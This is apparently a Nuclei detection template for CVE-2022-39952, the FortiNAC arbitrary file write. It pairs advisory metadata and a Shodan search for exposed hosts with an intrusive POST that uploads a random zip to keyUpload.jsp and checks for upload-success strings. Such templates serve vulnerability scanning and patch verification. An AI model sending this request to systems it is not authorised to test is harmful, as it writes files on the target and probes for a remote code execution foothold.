id: CVE-2022-39952

info:
  name: Fortinet FortiNAC - Arbitrary File Write
  author: dwisiswant0
  severity: critical
  description: |
    Fortinet FortiNAC is susceptible to arbitrary file write. An external control of the file name or path can allow an attacker to execute unauthorized code or commands via specifically crafted HTTP request, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. Affected versions are 9.4.0, 9.2.0 through 9.2.5, 9.1.0 through 9.1.7, 8.8.0 through 8.8.11, 8.7.0 through 8.7.6, 8.6.0 through 8.6.5, 8.5.0 through 8.5.4, and 8.3.7.
  reference:
    - https://fortiguard.com/psirt/FG-IR-22-300
    - https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/
    - https://github.com/horizon3ai/CVE-2022-39952
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39952
  remediation: Upgrade to 9.4.1, 9.2.6, 9.2.6, 9.1.8, 7.2.0 or above.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-39952
    cwe-id: CWE-610
    cpe: cpe:2.3:a:fortinet:fortinac:*:*:*:*:*:*:*:*
    epss-score: 0.96793
  metadata:
    max-request: 1
    shodan-query: title:"FortiNAC"
    verified: true
  tags: fortinet,fortinac,cve,cve2022,fileupload,rce,intrusive

variables:
  boundaryId: "{{hex_encode(rand_text_alphanumeric(16))}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/configWizard/keyUpload.jsp"
    headers:
      Content-Type: "multipart/form-data; boundary={{boundaryId}}"
    body: |
      --{{boundaryId}}
      Content-Disposition: form-data; name="key"; filename="{{to_lower(rand_text_alphanumeric(8))}}.zip"

      {{randstr}}
      --{{boundaryId}}--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "zipUploadSuccess"
          - "SuccessfulUpload"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# Enhanced by md on 2023/03/22